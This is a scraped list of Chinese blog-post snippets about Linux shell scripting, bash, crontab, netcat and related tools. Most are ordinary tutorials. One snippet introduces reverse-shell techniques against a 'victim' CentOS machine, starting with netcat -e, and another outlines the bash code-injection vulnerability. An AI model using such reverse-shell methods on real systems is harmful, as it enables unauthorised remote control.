文章目录 目的修改内核和设备树以访问以太网制作根文件系统并启用SSH总结 目的 这篇文章主要测试新唐NUC980&#xff08;5.10.y内核&#xff09;访问以太网&#xff08;PHY为LAN8720A&#xff09;以及启用SSH。 这篇文章中内容均在下面的开发板上进行测试&#xff1a; 《新唐…

Linux Crontab 使用详解

什么是 crontab&#xff1f; crontab 是一个定时执行任务的工具&#xff0c;在 Linux 系统中广泛使用。它可以让用户在指定的时间自动执行某个指令或脚本&#xff0c;例如自动备份数据、清除日志、定时运行程序等。 crontab 的工作原理 crontab 依赖于系统 crond 守护进程&a…

Shell脚本数组简介及运用(你是我始料不及的遇见,也是我突如其来的欢喜)

文章目录 一、数组简介二、数组支持的数据类型三、定义数组四、获取数组某个索引处的值五、遍历数组元素六、获取数组长度七、截取数组元素八、数组的元素替换1.临时替换2.永久替换 九、删除元素或数组十、数组追加元素1.满元素数组追加2.非满元素数组追加 十一、函数使用数组传…

Shell编程入门讲解

一.简介 Shell 是一个用 C 语言编写的程序&#xff0c;它是用户使用 Linux 的桥梁。Shell 既是一种命令语言&#xff0c;又是一种程序设计语言。Shell 是指一种应用程序&#xff0c;这个应用程序提供了一个界面&#xff0c;用户通过这个界面访问操作系统内核的服务。Ken Thomps…

【Linux内核解析-linux-5.14.10-内核源码注释】解读Linux系统结构

Linux系统体系结构&#xff1a; Linux系统的内核 Linux内核是Linux系统的核心部分&#xff0c;它提供了操作系统的基本功能和服务&#xff0c;如进程管理、文件系统、网络通信等。内核负责管理硬件资源&#xff0c;并与应用程序交互&#xff0c;使其能够访问这些资源。 GNU工具…

Linux-模拟一个简单的shell

什么是shell外壳&#xff1f;就是操作系统给我们的一个命令行解释器&#xff0c;在Linux系统中&#xff0c;它的shell叫做bash。 那么bash本质是什么呢&#xff1f; 本质就是一个文件&#xff0c;一个进程。 万物皆文件 每个操作系统的shell都是很复杂的&#xff0c;想要…

shell 脚本

Shell概述 shell是一个命令行解释器&#xff0c;它接收应用程序/用户命令&#xff0c;然后调用操作系统内核 脚本入门 脚本格式 脚本以#!/bin/bash开头&#xff08;指定解析器&#xff09; helloworld # 创建脚本 [linuxlocalhost datas]$ cat helloworld.sh #!/bin/bas…

bash命令行,快速构建bash命令行工具,生成bash模板

关于toollib 快速构建bash命令行工具&#xff0c;生成bash模板&#xff0c;拒绝重复性工作。 安装toollib 执行命令&#xff1a;pip install toollib tmpl2bash usage:pytcli tmpl2bash [options] options:-h/--help 帮助-f/--file 文件-c/--cmds 命令-o/--op…

Ubuntu环境变量踩坑实录

用户级别的环境变量 .bash_profile.bash_login.bashrc 坑的原理&#xff1a; 1.当bash shell作为登录shell启动时&#xff08;比如用户登录系统时&#xff09;&#xff0c;首先会查找并执行/.bash_profile文件。如果这个文件不存在&#xff0c;那么它会尝试查找并执行/.bash_…

Ubuntu下通过.sh文件同时启动多个程序系列2—启动多个终端分别运行不同指令或者程序

Ubuntu下通过.sh文件启动多个终端分别运行不同指令或者程序 说明步骤1.创建.sh文件2.输入内容3.赋予可执行权限4.测试 解释 说明 项目上经常遇到需要到开多个终端分别启动不用程序&#xff0c;这里简单介绍一个方法&#xff0c;通过.sh文件&#xff0c;同时启动多个程序 步骤…

什么是SHELL?

操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入&#xff0c;向操作系统解释你的输入&#xff0c;并且处理各种各样的操作系统的输出结果。   shell提供了你与操作系统之间通讯的方式。这种通讯可以以交互…

操作字符串之提取字串-1-${string:position:length}

在Linux系统中&#xff0c;Bash所支持的字符串操作的语法/工具数量特别多&#xff0c;但是这些操作的语法/工具没有统一的标准&#xff0c;一些字符串操作是参数替换的子集&#xff0c;另外一些是使用expr命令。 本次为讲解的是参数替换字符串操作&#xff0c;有兴趣的人可以自…

LinuxShell编程

Shell编程 Shell的概念介绍 命令解释器 Shell是命令解释器(command interpreter)&#xff0c;是Unix操作系统的用户接口&#xff0c;程序从用户接口得到输入信息&#xff0c;shell将用户程序及其输入翻译成操作系统内核&#xff08;kernel&#xff09;能够识别的指令&#x…

bash脚本读取设备串口数据

shell脚本读取串口步骤 1.读取串口 2.过滤字符 3.字符分割 4.得到结果 datedate %Y-%m-%d%H:%M:%S cat /dev/ttymxc3 | while read LINE //读取串口一行行数据到LINE do# echo ${LINE}head"GPGGA"result$(echo $LINE | grep "${head}") //通过grep筛选出…

shell脚本基础

目录 一、概述 二、shell (一)shell命令解释环境 &#xff08;二&#xff09;类型 &#xff08;三&#xff09;查看系统中支持的shell&#xff1a;cat /etc/shells &#xff08;四&#xff09;查看系统默认shell&#xff1a; echo $SHELL 三、变量 &#xff08;一&…

达梦数据库练习(已完成)

练习时写在开头 禁用防火墙 systemctl disable firewalld.service 安全策略 vi /etc/sysconfig/selinux 虚拟机仅主机模式 虚拟机手动配置IP 开始安装 1.创建目录 mkdir /dm82.新建用户组 groupadd dinstall3.新建用户 useradd -g dinstall dmdba 4.授权用户目录 ch…

一分钟学一个 Linux 命令 - ps

前言 大家好&#xff0c;我是 god23bin。欢迎来到《一分钟学一个 Linux 命令》系列&#xff0c;每天只需一分钟&#xff0c;记住一个 Linux 命令不成问题。今天要说的是 ps 命令。 什么是 ps 命令&#xff1f; ps 的英文全称是 process status&#xff0c;意思是进程状态。 …

第五次

1.总结变量的类型及含义 含义&#xff1a;顾名思义&#xff0c;变量就是程序设计语言中的一个可以变化的量&#xff0c;当然&#xff0c;可以变化的是变量的值。几乎所 有的程序设计语言中都有定义变量&#xff0c;并且其涵义也大同小异。从本质上讲&#xff0c;变量就是在程序…

【win11+Visual Studio 2019 配置 PCL 1.12.1 的经验总结分享】

点云pc库的下载与安装参考另外一篇文章&#xff0c;链接&#xff1a; https://blog.csdn.net/weixin_47869094/article/details/131270772?spm1001.2014.3001.5501 各种教程里面这都很好&#xff0c;就不赘述了&#xff0c;当然&#xff0c;这里也给出一个个人认为不错的安装…

shell脚本自动化部署tomcat

前言 在一个月黑风高的晚上&#xff0c;在公司把程序打包好后&#xff0c;发给现场&#xff0c;结果又被告知不能登录命令行界面部署程序&#xff08;tomcat部署&#xff09;&#xff0c;只能提供一个shell脚本实现自动化部署&#xff0c;于是拿出我0.5年的开发经验&#xff0…

5.Linux删除文件和目录

在 Linux 中&#xff0c;可以使用 rm 命令来删除文件和目录&#xff08;文件夹&#xff09;。下面是一些常见的删除操作及其示例&#xff1a; 删除单个文件&#xff1a;使用 rm 命令加上要删除的文件名称即可。 rm filename # 删除名为 filename 的文件删除多个文件&#xff1…

shell编程实验-文件状态测试

一、实验目的&#xff1a; 熟悉UNIX的基本SHELL程序设计方法&#xff0c;包括&#xff1a; &#xff08;1&#xff09;命令行参数检测&#xff1b; &#xff08;2&#xff09;变量设置&#xff1b; &#xff08;3&#xff09;文件状态检测与特定信息读取&#xff1b; &…

提示-bash: command not found的解决方法集锦

最近很多小伙伴私信我说老是遇到命令找不到的情况&#xff0c;这里开一篇插个队说一下这个问题&#xff0c;做个总结。当我们在 Linux&#xff08;或shell&#xff09;下执行一个命令时&#xff0c;报 -bash: XXXX: command not found&#xff0c;有三个可能的原因&#xff1a;…

shell-基础入门

实际上是我们写了一行命令&#xff0c;将这个命令发给shell shell可以看作一个翻译官 shell的意思是包裹操作核心的壳 shell包含 比如 bash解释器&#xff0c;或者zsh解释器 在window中是.bat 批处理脚本 在linux是.sh脚本文件 shebang是#! 表示脚本要用哪个解释器去读 #! /…

Shell编程入门:让你的工作效率翻倍!

Shell 编程入门 前言 Shell编程是一种非常实用的技能&#xff0c;它可以让我们通过编写脚本自动化执行各种任务&#xff0c;从而大幅提高工作效率。本文将介绍Shell编程的基础知识和常用命令&#xff0c;并结合代码进行演示。 Shell的基础知识 Shell的种类 目前常用的Shel…

shell脚本基础5——常用命令写作技巧

文章目录 一、grep命令二、sed命令2.1 选项参数2.2 常用命令 三、AWK命令3.1 常用参数3.2 常用示例 四、find与xargs五、date命令六、对话框6.1 消息框6.2 yes/no对话框6.3 表单输入框6.4 密码输入框6.5 菜单栏6.6 单选对话框6.7 多选对话框6.8 进度条 七、常用写作技巧7.1 EOF…

【Linux】通过 Shell 脚本修改用户密码

1. Linux 中修改用户密码 Linux 中要修改一个用户的密码通常是使用 passwd 命令来完成&#xff0c;命令格式如下。 #一般使用格式 passwd [username][注]&#xff1a;若其后不加任何用户名则表示修改当前用户的密码。 使用示例&#xff1a; 这里笔者将 im 用户的密码修改为 im…

Linux网络神器之强大的NetCat命令

[sizelarge]名称&#xff1a;netcat命令在linux中别名为nc 作用&#xff1a;支持任意的TCP和UDP连接&#xff0c;监听和读写 描述&#xff1a;nc功能支持的协议通常包括TCP和UDP&#xff0c;它可以打开TCP连接&#xff0c;发送UDP数据包&#xff0c;监听任意的TCP或UDP端号&…

跟散仙学shell编程(十三)

上篇散仙主要了讲述了gawk进阶的一些用法&#xff0c;本篇我们来了解下载linux中&#xff0c;其他的shell类型&#xff0c;通常情况下&#xff0c;我们最常用的就是bash shell&#xff0c;除此之外&#xff0c;我们还可能遇到另外2个shell类型&#xff0c;dash shell和zsh shel…

Linux的shell小脚本的用途

[b][colorgreen][sizex-large]熟悉Linux的朋友们&#xff0c;对linux的命令&#xff0c;肯定都不陌生&#xff0c;大部分时候我们都可以使用系统自带的命令来轻松完成我们的工作。如果我们再能简单掌握下这些shell的制作&#xff0c;在某些场景下对我们的工作是非常有利的&…

Linux 加载脚本文件的内核实现

文章目录 前言一、源码详解二、bprm_change_interp三、示例参考资料 前言 在这片博客详细的介绍了进程启动的过程&#xff1a;Linux 进程启动 execve 系统调用内核源码解析 这篇文件将详细介绍 exec 启动脚本文件的过程。 一、源码详解 // linux-5.13/fs/binfmt_script.c s…

【Linux学习笔记3】- 帮助命令与用户管理

文章内容转载于此文章&#xff0c;有删改。 文章目录1 帮助命令1.1 获得命令或配置文件帮助信息&#xff1a;man1.2 获得shell内置命令的帮助信息&#xff1a;help1.3 获得命令的帮助信息&#xff1a;--help2 用户管理命令2.1 添加新用户&#xff1a;useradd2.2 设置用户密码&a…

linux下修改mysql用户密码

在MySQL中修改一个用户&#xff08;比如叫"hunte"&#xff09;的密码&#xff0c;可以用如下3个办法&#xff1a; >>>   #在控制台上输入   bash$ mysql -u root mysql   #用mysql客户程序   mysql> UPDATE user SET passwordPASSWORD("ne…

Linux 日常实用命令

文章目录ping检查hosts内ip查看系统版本查看公网ip查看占用swap 的进程释放swap查看CPU 槽位或数量查看启动日志分屏工具tmux 使用查看网卡速率查看网卡信息重启服务器归档日志检验文件一致性探测 TCP / UDP 端口统计不同ip 连接数查看页大小查看是否开启透明大页文件描述符pin…

Shell常用脚本:判断远程主机的文件是否存在

remoteFileTest.sh #/bin/bash # 使用此脚本前必须在本机运行 【ssh-keygen】生成公私密钥文件&#xff0c;然后用【ssh-copy-id -i 本机公钥文件 远程用户名远程IP】将本机公钥给远程主机 #remoteIp$1 remoteFile$2echo "入参1&#xff1a;${remoteIp}" echo "…

packer学习—用Docker构建器构建docker镜像

前言&#xff1a;packer是根据HCL模板构建容器镜像的 注&#xff1a;HCL2 模板最初是作为 Packer 版本 1.5 的 beta 功能引入的。从 v1.7 开始&#xff0c;HCL2 支持不再处于测试阶段&#xff0c;并且是编写 Packer 配置的首选方式。对于老式的稳定配置语言&#xff0c;请参阅模…

Jenkins配置节点报错:bash: /root/.jenkins/jdk/bin/java: 没有那个文件或目录

Jenkins配置节点报错&#xff1a;bash: /root/.jenkins/jdk/bin/java: 没有那个文件或目录 SSHLauncher{host192.168.111.129, port22, credentialsIdaa9fc1b1-ccc2-470f-a612-f20e32b55dea, jvmOptions, javaPath, prefixStartSlaveCmd, suffixStartSlaveCmd, launchTimeoutSe…

bash--if、for、while、break、continue、$$、$!、、ps、()、{}、<、>、>>应用

if判断 [rootWzcWyt wyt]# ls djangoxuni[rootWzcWyt wyt]# if [ -e djangoxuni ];then echo 存在;else echo 不存在;fi 存在for循环 [rootWzcWyt wyt]# for ((i0;i<10;i));do echo $i;done 0 1 2 3 4 5 6 7 8 9# 循环遍历数组 [rootWzcWyt ~]# arry(a b c d e f g) [root…

bash变量单引号、双引号、反引号的区别

bash变量单引号、双引号、反引号的区别 # 定义数字变量 [rootWzcWyt wyt]# a123 [rootWzcWyt wyt]# echo $a 123# 定义布尔变量 [rootWzcWyt wyt]# afalse [rootWzcWyt wyt]# echo $a false# 定义字符串变量 [rootWzcWyt wyt]# a"abc" [rootWzcWyt wyt]# echo $a ab…

bash基础命令

bash基础命令 调用上一个命令的最后一个参数 !$ &#xff08;建议使用&#xff09; Alt. 同时按住Alt和. (需要在centos中执行&#xff0c;远程连接工具一般不支持) 示例&#xff1a; ls /etc ls !$ ls Alt. 控制命令历史的记录方式 查看环境变量&#xff1a; e…

【Java可执行命令】(十)JAR文件签名工具 jarsigner:通过数字签名及验证保证代码信任与安全,深入解析 Java的 jarsigner命令~

Java可执行命令之jarsigner 1️⃣ 概念2️⃣ 优势和缺点3️⃣ 使用3.1 语法3.1.1 可选参数&#xff1a;jarsigner -keystore < url>3.1.2 可选参数&#xff1a;jarsigner -storepass <口令>3.1.3 可选参数&#xff1a;jarsigner -keypass <口令>3.1.4 可选参…

bat脚本--for用法

转载自&#xff1a;bat for教程 ::以1为步长&#xff0c;遍历1-5数字并打印 for /l %i in (1 1 5) do echo %i::当前路径下查找所有txt文件中包含java字符(不区分大小写)的行. for /r . %a in (*.txt) do find "java" /n /i %a ::在当前路径下搜寻包含CVS路径的内容处…

shell脚本(99乘法表)

99乘法表 #思路及注意点&#xff1a; 1 双层循环&#xff0c;因为循环次数确定&#xff0c;选用了for循环&#xff1b; 2 内层循环次数跟随外层轮次变化&#xff0c;选用了seq $j 也可使用for ((i1;i<j1;i)) 3 内部循环每轮结束后需要换行&#xff0c;所以追加一次echo 完成…

Linux多姿势反弹shell

前言 以下反弹shell的各种方法是小R收集到的&#xff0c;部分没有复现成功的方法没有放上来&#xff0c;待复现成功后会慢慢把文章完善,如有错误请帮忙指出。 演示环境&#xff1a; 攻击机&#xff1a;kali 受害机&#xff1a;CentOS7 1.Nc -e反弹 攻击端&#xff1a; nc -l…

[Vue] 23.Vue中的组件:查缺补漏

v-once指令&#xff1a;表示元素只被渲染一次&#xff0c;后来即使数据发生变化&#xff0c;也不会被渲染 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" conten…

【转载from墨白】【工具系列】Windows包管理工具Scoop安装及使用

文章目录什么是 Scoop &#xff1f;Scoop 的安装配置Scoop 使用方法Scoop 基础语法&#x1f330; 举几个栗子&#xff1a;清理安装包缓存删除旧版本软件全局安装代理设置开启多线程下载常用命令总结什么是 Scoop &#xff1f; Scoop 是 Windows 的命令行安装程序&#xff0c;是…

cp 快速备份 bash{} 扩展

cp 快速备份 bash{} 扩展 cp filename{,.bak} 这个命令是用来把filename备份成filename.bak&#xff0c;等同于命令 cp filename filename.bak 这里利用的是bash的brace expansion&#xff08;大括号扩展&#xff09;功能&#xff0c; 按照bash手册(man bash)所述&…

Python学习 Day63 IPython安装及使用 01

IPython的安装及使用 一、简介 ipython是python的一个交互式shell&#xff0c;比默认的“python shell”更方便&#xff0c;支持变量自动补全&#xff0c;自动缩进&#xff0c;支持bash shell命令&#xff0c;内置了许多强大的功能和函数。 IPython是基于BSD开源的&#xff…

Linux Shell if判断

0 前言 Shell编程常用到条件条件判断&#xff0c;本文总结其语法和重要参数。 1 语法 可以使用test或者[来进行[条件判断&#xff0c;下面的两个代码片段是等价的&#xff1a; if test -f file.c; then ... fi 或 if [ -f file.c ]; then ... fi 上述代码片段的意义为&#…

terminal log同时输出

指令后面加 2>&1 | tee ./log.txt

bash shell 杂记 (1) 几个有用的知识

从本章开始,整理了一些我学习bash shell的一些知识点,分享出来共勉 什么是bash ,用的是哪一个版本 bash 是一种 shell,也就是命令解释器。bash(或者说任何 shell)的主要目的是让用户可以同计算机操作系统交互,以便完成想做的任务。这通常涉及运行程序,因此 shell 会接…

【Linux】 /bin/bash^M: 坏的解释器: 没有那个文件或目录[已解决]

项目场景&#xff1a; Windows 10 系统下编辑了一个shell脚本文件&#xff0c;然后copy到了远程的Linux服务器。 问题描述 运行xxx.sh文件时报错 [rootlocalhost tmp]# ./xxx.sh -bash: ./xxx.sh: /bin/bash^M: 坏的解释器: 没有那个文件或目录原因分析&#xff1a; 这个文件…

学习笔记:Docker

推荐这里 阅读笔记 &#xff1a;Docker 笔记 〓 Docker - 一切在云端 B站视频地址&#xff1a;尚硅谷 Docker 阳哥 云原生Java 架构师的第一课K8s Docker KubeSphere DevOps Docker仓库&#xff1a;https://hub.docker.com/ 编码开发微服务、上线部署容器化、时时刻刻要…

【Linux】init服务脚本和systemd服务管理机制的区别

区别 Centos6以前用的都是init来启动服务&#xff1b; Centos7开始默认使用了systemd管理服务&#xff1b; init串行启动所有服务&#xff1b; systemd并行启动所有服务&#xff0c;充分利用多内核架构。 init启动的服务分两类&#xff1a;独立启动模式&#xff08;stand alo…

linux 常用命明

linux基本命令 1.登陆&#xff1a; //通过跳板机以管理员身份登录目标机器 eg:sudo ssh 10.8.32.92.目录切换 //进入下级目录 cd xxxx //eg:进入linux根目录&#xff1a; cd /opt 说明&#xff1a; 1./opt - 提供一个供可选的 (optional) 应用程序安装目录 2.包含从各个厂商…

Oracle诊断案例----如何捕获问题SQL解决过度CPU消耗问题

问题描述:开发人员报告系统运行缓慢&#xff0c;影响用户访问. 1.登陆数据库主机 使用vmstat检查&#xff0c;发现CPU资源已经耗尽&#xff0c;大量任务位于运行队列: bash-2.03&#xff04; vmstat 3 procs memory page disk faults …

2.【mac】cmake配置

1 Mac系统的环境变量&#xff0c; 加载顺序为&#xff1a; /etc/profile /etc/paths ~/.bash_profile ~/.bash_login ~/.profile ~/.bashrc/etc/profile和/etc/paths是系统级别的&#xff0c;系统启动就会加载&#xff0c;后面几个是当前用户级的环境变量。后面3个按照从前往…

java.rmi.ConnectException: Connection refused to host: 127.0.0.1

最近用了java的rmi还是不错的&#xff0c;遇到的问题参考网上的文章解决的&#xff0c;做个记录 引自 http://hi.baidu.com/wangdefu/blog/item/4e1e041f8d5bdacaa7866987.html 可以参考Sun的资料去理解rmi http://java.sun.com/developer/onlineTraining/rmi/RMI.html 写一个…

Linux基础命令(四):高级键盘操作与权限控制——history、自动补全、命令行快捷键、历史命令展开、id、chmod、umask、su、sudo、chown、chgrp、passwd

目录 高级键盘操作 命令行 移动命令行光标 修改命令行文本 剪切和复制 自动补全 历史命令 历史命令展开 权限控制 拥有者、组成员和其他人 读取、写入和执行 更改文件模式 设置默认权限 一些特殊权限 切换用户 更改文件所有者和用户组 更改用户密码 创建新的用…

linux执行./(点斜杠)和. (点空格)sh命令区别

问题场景 重启tlq服务&#xff0c;执行./setp命令后&#xff0c;bin目录执行tlq提示 get env error 段错误(吐核) 问题处理 setp文件里面设置了一些目录环境参数&#xff0c;并且目录什么的都有&#xff0c;但执行脚本就是不生效。 后来同事. setp&#xff0c;也就是. &am…

登录shell与非登录shell

::登录shell ::非登录shell -------------- 1>su tao //非登录shell 注意: su - root -->这将是一个登录shell &#xff01; 2>bash //非登录shell 3>重新打开一个终端! //非登录shell! ---------------> 执行登录 shell 的时候&#xff0c;需要用到的…

cvs 常用命令

CVS命令 export CVSROOT:pserver:username192.168.1.100:/var/cvsrootcvs login CVSROOTcvs checkout module_name //check out modulecvs update module_name //更新整个modulecvs update [-r 1.1] module_name/filename //更新某一版本的文件cvs commit -m "no message…

awk提取两个关键字符串的文本内容

#/bin/bash src$1 dst$2 cat ${src} | grep -E "<plate>.*</plate>" | awk {t$0;gsub(/.*<plate>|<\/plate>.*/,"",t);print t} > ${dst}

Exception: execute cmd error ,cmd : bash start.sh的解决方法

Exception: execute cmd error ,cmd : bash start.sh的解决方法 如果在linux服务器上运行某个应用或者程序时&#xff0c;出现了以Exception: execute cmd error ,cmd : bash start.sh开头的一些错误&#xff0c;并且伴随着一些syntax error&#xff0c;在确认过代码无误之后&…

io-将路径封装成File对象构造器参数的探索,以及跨越操作系统转义符的使用

package cn.itcast.file.demo;import java.io.File;public class FileDemo {// private static String file_separator System.getProperty("file.separator");//该功能File类已经提供了public static void main(String[] args) {//1.将一个具体路径封装成了File对象…

Linux下查看日志常用命令

一、查看文件前10行 命令使用headhead -n 10 filename 二、查看文件后10行 命令使用tailtail -n 10 filename 三、查看文件第10行 命令使用备注sedsed -n 10 filenameawkawk ‘NR10’ filenamehead、tailhead -n 10 filename | tail -n 1当文件行数小于10时&#xff0c;此时…

终端提示符设置(PS1变量配置)

提示符内容配置&#xff1a; 直接在termial中修改PS1变量就可以改变当前环境的提示符&#xff0c;选到自己喜欢的就可以写进.bashrc文件了&#xff1a; 可以把任意文本写入提示符中&#xff1a; > PS1”This is my terminal:>” This is my termianl:> This is my te…

Ubuntu 环境变量配置文件介绍

QMAKESPEC has not been set, so configuration cannot be deduced. deduce from 推断&#xff1b;从…得出结论 Error processing project file: /home/qust/qt/time/time.pro qustqust-K42JZ:~/qt/time$ make在Ubuntu中有如下几个文件可以设置环境变量: /etc/profile:在登录…

极简Linux驱动入门

极简Linux驱动入门一、编写驱动二、编译使用一、编写驱动 实现init和exit两个函数 /** mydriver.c **/ #include <linux/init.h> #include <linux/module.h>static int mydriver_init(void) {printk("init my driver!");return 0; }static void mydriv…

ubuntu必备

开发必备编译环境 # 编译环境 sudo apt-get install build-essential make automake autoconf libtool-binsudo apt-get install git qemu-system-x86 vim-gnome gdb cgdb eclipse-cdt make diffutils exuberant-ctags tmux cscope meld qgit gitg gcc-multilib gcc-multilib…

bash不对变量区分类型

1 #!/bin/bash2 # int-or-string.sh: 整型还是字符串?3 4 a2334 # 整型.5 let "a 1"6 echo "a $a " # a 23357 echo # 还是整型.8 9 10 b${a/23/BB} # 将"23"替换成"BB&q…

linux sort命令使用

1 sort的工作原理 sort将文件的每一行作为一个单位&#xff0c;相互比较&#xff0c;比较原则是从首字符向后&#xff0c;依次按ASCII码值进行比较&#xff0c;最后将他们按升序输出。 [rocrocketrocrocket programming]$ cat seq.txt banana apple pear orange [rocrocketrocr…

【linux基本命令】文件和目录管理

文件和目录管理 常用操作&#xff1a; Linux的文件目录结构为树形&#xff0c;所有的木轮和文件都在根目录下&#xff0c;根目录名为"/",下表列出了没有目录存放的文件 目录用途/bin常见的用户指令/boot内核和启动文件/etc系统和服务的配置文件/home系统默认的普通…

【linux基本命令】1. 用户管理及定时任务

1. 用户管理以及定时任务 文章目录1. 用户管理以及定时任务UID&#xff1a;用户id&#xff0c;一般来说1-499是系统用户&#xff0c;500开始是普通用户&#xff0c;0是根用户。GID&#xff1a;组id。确认自己的id&#xff1a;id确认自己属于的组&#xff1a;groups查看当前在线…

Linux自动配置IP地址脚本

Linux自动配置IP地址脚本 1、可以查看/etc/sysconfig/network-script/ifcfg-设备名 2、脚本如下&#xff1a; #!/bin/bash#Switch of static IP and DHCP#设置第一块网卡eth0if [ $1 "company" ] ; thenIP_PATH/etc/sysconfig/network-scripts/ifcfg-eth0echo "…

shell 命令总结

【Shell环境中的预定义变量】 $$ Shell本身的PID&#xff08;ProcessID&#xff09; $! Shell最后运行的后台Process的PID $? 最后运行的命令的结束代码&#xff08;返回值&#xff09; $- 使用Set命令设定的Flag一览 $* 所有参数列表。如"$*"…

linux中profile和bashrc的区别

/etc/profile 文件是系统全局针对终端环境的设置&#xff0c;登录系统之后&#xff0c;bash就会执行/etc/profile 启动文件中的命令&#xff0c;一般不建议在这里面修改添加环境变量&#xff0c;因为在这个文件中添加的设置会对所有用户起作用。 ~/.bash_profile 只有对单一用…

客户机操作系统已禁用 CPU,请关闭或重置虚拟机(解决办法)

问题描述&#xff1a;出现如图问题 解决办法 1 解决80%常见情况下cpu禁用的报错 1.右键该虚拟机标签后点击关机 2.虚拟机已关机后&#xff0c;进入该虚拟机设置界面 3.进入到cpu设置界面&#xff0c;把虚拟化3项都勾选上&#xff0c;保存。 重新打开虚拟机即可正常运行 &am…

bash代码注入的安全漏洞原理详解

来源&#xff1a; 酷 壳 – CoolShell.cn 很多人或许对上半年发生的安全问题“心脏流血”&#xff08;Heartbleed Bug&#xff09;事件记忆颇深&#xff0c;这两天&#xff0c;又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stphane Ch…

git Bash 命令行大全

1、目录、文件操作 pwd ( print working directory ) 查看当前所在路径--绝对路径 cd ( change directory ) 切换目标 cd .. 返回到上一个目录 ls ( list ) 查看当前目录下的内容 ll 列出的内容更为详细ll 列出的内容更为详细 ls -al 包括隐藏文件和以 . 开头的文件 mkdi…

判断一文件是不是字符设备文件

顺便补习一下字符串的截取&#xff1a; ${varible:n1:n2}:截取变量varible从n1到n2之间的字符串。可以根据特定字符偏移和长度&#xff0c;使用另一种形式的变量扩展&#xff0c;来选择特定子字符串。试着在 bash 中输入以下行&#xff1a; $ EXCLAIMcowabunga $ echo ${EXCLAI…

shell数组和declare用法

用途说明 declare命令是bash的一个内建命令&#xff0c;它可以用来声明shell变量&#xff0c;设置变量的属性&#xff08;Declare variables and/or give them attributes&#xff09;。该命令也可以写作typeset。虽然人们很少使用这个命令&#xff0c;如果知道了它的一些用法&…

优秀 python 开源项目

这里写目录标题1. 优秀 python 开源项目1.1. Celery1. 优秀 python 开源项目 1.1. Celery python 消息队列。 Celery 是一个简单, 灵活, 可靠的分布式系统, 用于处理大量消息, 同时为操作提供维护此类系统所需的工具。

Linux Shell 语法

这里填写标题1. Linux Shell 语法1.1. 如何查看 shell 是 zsh 还是 bash1.2. sh 与 bash 的区别1.2.1. [[ is a bash builtin command and is not available in sh, same as 1.3. shell 魔法1.3.1. !!1.3.2. #!1.4. 条件判断1.4.1. 并且1.4.2. 或者1. Linux Shell 语法 1.1. 如…

第八周buuctf

[SUCTF 2019]EasySQL 先判断一下是数字型还是字符型&#xff0c;输入1 有回显&#xff1b;然后各种试试试&#xff0c;都是nonono 还好&#xff0c;试了一下堆叠注入 爆出数据库&#xff1a;1;show databases;# 爆表&#xff1a;1;show tables;# 然后爆字段&#xff1a;1;s…

Linux下Shell编程

建立一个脚本 Linux中有好多中不同的shell&#xff0c;但是通常我们使用bash (bourne again shell) 进行shell编程&#xff0c;因为bash是免费的并且很容易使用。所以在本文中笔者所提供的脚本都是使用bash&#xff08;但是在大多数情况下&#xff0c;这些脚本同样可以在 bash的…

TTY 到底是个什么玩意?

先来回答一道面试题&#xff1a;我们知道在终端中有一些常用的快捷键&#xff0c;CtrlE 可以移动到行尾&#xff0c;CtrlW 可以删除一个单词&#xff0c;CtrlB 可以向前移动一个字母&#xff0c;按上键可以出现上一个使用过的 shell 命令。在这 4 种快捷键中&#xff0c;有一个…

SpringBoot jar包项目部署,后台挂起,查看日志

挂起jar包的sh脚本 #!/bin/sh nohup java -jar xxx.jar [--spring.profiles.activeprod] > cmd.out 2>&1 & echo $! > pid.txt参数说明&#xff1a; --spring.profiles.activeprod 代表通过命令方式指定配置文件&#xff0c;代表使用application-prod.yml 或…

解决:/usr/bin/ruby: no Ruby script found in input (LoadError)

文章目录问题原因问题 执行命令时&#xff0c; /usr/bin/ruby install报错&#xff1a; Traceback (most recent call last): /usr/bin/ruby: no Ruby script found in input (LoadError) 原因 发现install脚本&#xff0c;不是一个ruby文件&#xff0c;而是一个bash文件…

MacOS上安装Homebrew教程

文章目录Homebrew是什么&#xff1f;安装解决方案1&#xff1a;开源安装脚本库解决方案2&#xff1a;国内镜像帮助文档解决方案3&#xff1a;手动下载官网安装脚本错误1设置成国内镜像执行安装验证检查安装成功以后需要更换镜像源卸载Homebrew是什么&#xff1f; Homebrew官网 …

【BASH】回顾与知识点梳理(十九)

【BASH】回顾与知识点梳理 十九 十九. 循环 (loop)19.1 while do done, until do done (不定循环)19.2 for...do...done (固定循环)19.3 for...do...done 的数值处理(C写法)19.4 搭配随机数与数组的实验19.5 shell script 的追踪与 debug19.6 what_to_eat-2.sh debug结果解析 该…

几种常见的shell

上面提到过&#xff0c;Shell是一种脚本语言&#xff0c;那么&#xff0c;就必须有解释器来执行这些脚本。 Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等&#xff0c;习惯上把它们称作一种Shell。我们常说有多少种Shell&#xff0c;其实说的是Shell脚本解释器。 …

[ValueError: not enough values to unpack (expected 3, got 2)]

项目场景&#xff1a; 在使用opencv进行关键点识别、边缘轮廓提取的时候&#xff0c;提示以上错误。 import cv2 import numpy as npdef preprocess(image):# 进行图像预处理&#xff08;例如灰度化、高斯模糊等&#xff09;gray cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)blu…

【BASH】回顾与知识点梳理(二十二)

【BASH】回顾与知识点梳理 二十二 二十二. Linux 账号管理22.1 Linux 的账号与群组使用者标识符&#xff1a; UID 与 GID使用者账号/etc/passwd 文件结构/etc/shadow 文件结构 关于群组&#xff1a; 有效与初始群组、groups, newgrp/etc/group 文件结构有效群组(effective grou…

利用pipe()与dup()编写代码,将ps-ef命令的标准输出作为标准输出连接到wc-l命令

1.dup2的作用是用来复制一个文件的描述符&#xff0c;经常用来重定向进程的stdin、stdout和stderr。 dup2函数成功返回时&#xff0c;目标描述符&#xff08;dup2函数的第二个参数&#xff09;将变成源描述符&#xff08;dup2函数的第一个参数&#xff09;的复制品&#xff0c;…

Linux试题详解

Linux 概述 什么是Linux Linux是一套免费使用和自由传播的类Unix操作系统&#xff0c;是一个基于POSIX和Unix的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想…

脚本文件学习

